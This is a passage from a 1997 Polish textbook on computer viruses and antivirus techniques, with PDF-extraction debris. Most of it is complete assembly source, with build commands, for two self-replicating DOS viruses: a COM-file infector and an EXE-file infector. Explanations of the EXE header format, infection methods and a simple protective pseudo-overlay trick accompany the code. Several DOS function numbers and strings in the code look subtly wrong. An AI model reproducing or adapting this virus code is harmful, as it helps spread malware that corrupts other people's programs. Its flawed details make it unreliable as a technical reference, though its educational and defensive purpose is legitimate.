Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki
COM.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM KOMORKA.ASM ;
; TLINK /t KOMORKA.OBJ ;
; ;
;----------------------------------------------------------------------------;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA

ORG 100h

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

background image

; atrybut poszukiwanej pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends

Start: ; tu zaczyna sie program ofiary

db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR
; bedacy czescia zarazonego
; programu

VirusStart: ; tu zaczyna sie kod wirusa

mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca
; w pamieci, gdzie znajduje sie wirus
; wartosc ta to czesc rozkazu JMP NEAR
; na poczatku, przy pierwszym wywolaniu
; =0000h

mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc zapamietane 3 bajty
mov ds:[100h],al ; \ na poczatek programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int 20h

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa

background image

jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj nastepnego

cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj nastepnego

sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku

mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS

background image

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,3 ; ilosc czytanych bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,VirusDlug ; ilosc zapisanych bajtow
lea dx,[si+103h] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,3 ; ilosc zapisanych bajtow
lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date,czas
int 21h ; wywolaj funkcje DOS

background image

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h

SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

BezInfekcji:
mov ax,100h ; \ skocz na poczatek programu
jmp ax ; / do ofiary

MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP

Skok db 0E9h,?,? ; rozkaz skoku

; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej

background image

int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>

KOMORKA ENDS
END Start

4.1.2. Pliki wykonywalne EXE

Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu
DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania
programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze
względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania
systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare
(ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone
są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w
środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie
danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony
i w rezultacie plik taki zainfekować.

4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)

Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment,
wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać
programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie
pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w
programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do
załadowania programów EXE system DOS potrzebuje więcei informacji, niż w
przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku
EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej.

background image

Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość
części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku
sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być
równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i
zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE

00-01

Znacznik pliku EXE. MZ lub ZM

02-03

Liczba bajtów na ostatniej, 512
bajtowej, stronie programu, W praktyce
oznacza, ile bajtów system DOS musi
skopiować z ostatniego sektora
zajmowanego przez program.

04-05

Długość całego pliku EXE, podana w 512-
bajtowych stronach z uwzględnieniem
nagłówka i ostatniej strony opisanej w
polach 02h-03h. W praktyce oznacza ilość
sektorów zajmowanych przez program,

06-07

Liczba elementów relokowalnych w
programie, czyli liczba 4-bajtowych
rekordów, znajdujących siew
niesformatowanej części nagłówka,
opisujących miejsca w kodzie programu
(jako segment: przesunięcie; w każdym
rekordzie przesunięcie znajduje się przed
segmentem), gdzie należy dodać segment,
pod który ładowany jest program

08-09

Długość nagłówka w 16-bajtowych
paragrafach

0A-0B

Minimalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach

0C-0D

Maksymalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach

0E-0F

Początkowa wartość rejestru
segmentowego stosu (SS) względem
początku programu.

10-11

Początkowa wartość wskaźnika stosu (SP)

12-13

Suma kontrolna (zanegowana suma
wszystkich bajtów w pliku), nie używana
przez DOS, stąd pole to może posłużyć
jako wskaźnik zainfekowania pliku

14-15

Początkowa wartość licznika rozkazów IP

16-17

Początkowa wartość rejestru segmentu
kodu CS względem początku programu.

18-19

Adres pierwszej pozycji tablicy relokacji w

background image

stosunku do początku pliku. Jeżeli pole jest
równe 40h lub więcej, jest to
prawdopodobnie nowy plik EXE

1A-1B

Numer nakładki

Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące
pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP,
odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą
instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu
niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw.
wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod
programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża
plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie
pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych
plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za
wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić
do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest
bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu
COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w
nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on
załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w
programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej
(są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach
występujących w programie). Adresy w pamięci, które trzeba w ten sposób
zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie
sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych
bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie
wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować
zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie,
czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w
nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to
prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno
być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego
poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością
obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli
wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można
zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o
długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem
ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie
jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował
się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by
się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały
poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na

background image

bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe
problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE
zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-
bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na
odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości
rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na
wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także
początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się,
iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować
parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby
uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba
wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do
oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu
polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo
dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami
bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza
adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO
OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku
wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku
wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność
modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa
w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury,
co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych
tabelach.

Struktura niezainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM'
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Ewentualna nakładka

Struktura zainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z
wprowadzonymi przez wirusa zmianami
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Kod wirusa
Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża
plików z wewnętrznymi nakładkami

background image

Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow EXE ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM EGZEMA.ASM ;
; TLINK EGZEMA.OBJ ;
; ;
;----------------------------------------------------------------------------;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
; atrybut poszukiwanej pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji

background image

; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends

VirusStart: ; tu zaczyna sie kod wirusa

Call Trik ; \
Trik: ; \
pop si ; / oblicz relatywny ofset
sub si,3 ; /

push cs ; \ DS=CS=kod wirusa
pop ds ; /

mov ax,es ; \ es=PSP+10h
add ax,10h ; /

add [si][StarySS],ax ; \
push [si][StarySS] ; - zachowaj wartosci stosu
push [si][StarySP] ; / dla nosiciela

add ax,[si][StaryCS] ; \
mov [si][SkokCS],ax ; \ utworz pelny rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj pierwszej

background image

; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny

cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj nastepny

mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,26 ; ilosc czytanych bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku
cmp ax,'mz' ; i sprawdz, czy to EXE
je JestEXE ; gdy 'MZ', to plik EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik EXE

JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana takze
; niektore pliki EXE z ustawionym
; adresem tablicy relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj nastepny

mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS i IP

background image

mov [si][StaryIP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS i SP
mov [si][StarySP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /

mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc naglowka w
mov cx,16 ; - paragrafach i oblicz
mul cx ; / jego dlugosc w bajtach
mov bp,ax ; \ zachowaj dlugosc na pozniej
mov di,dx ; /

mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
dec ax ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej

mov cx,512 ; wez dlugosc obrazu programu w stronach
mul cx ; i oblicz jego dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie
adc dx,0 ; dodaj ewentualne przeniesienie

cmp ax,word ptr [si][NoweDTA.DTASize]
; \ czy rozmiar obrazu z naglowka
jne ZamknijPlik ; \ jest rowny dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE - prawdopodobnie nakladka

sub ax,bp ; \ odejmij od dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu

mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za wirusem
and dl,11111110b ; SP - najczesciej jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS

background image

mov ax,word ptr [si][Naglowek+02h] ; \
add ax,VirusDlug ; \
cwd ; \
mov cx,512 ; \
div cx ; \
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,VirusDlug ; ilosc zapisywanych bajtow
mov dx,si ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,26 ; ilosc zapisywanych bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik

background image

int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h

SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

BezInfekcji:
push es ; \ es=ds=PSP
pop ds ; /

mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

pop ax ; \ zdejmij ze stosu wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; \ i umiesc te wartosci w
mov sp,ax ; / SS i SP

db 0EAh ; powroc do nosiciela
SkokIP dw ? ; \ czesc skoku JMP FAR
SkokCS dw ? ; /

MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak

background image

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)

Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę
niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik
działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie
komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę
uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod
kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu
chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu
STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma
systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany
byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a
pełniłby tu rolę programu STUB.

background image

Po programie STUB znajduje się właściwy program przeznaczony dla trybu
chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany
nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich
programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS.
Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych
różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone,
a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi
uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych:
podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie
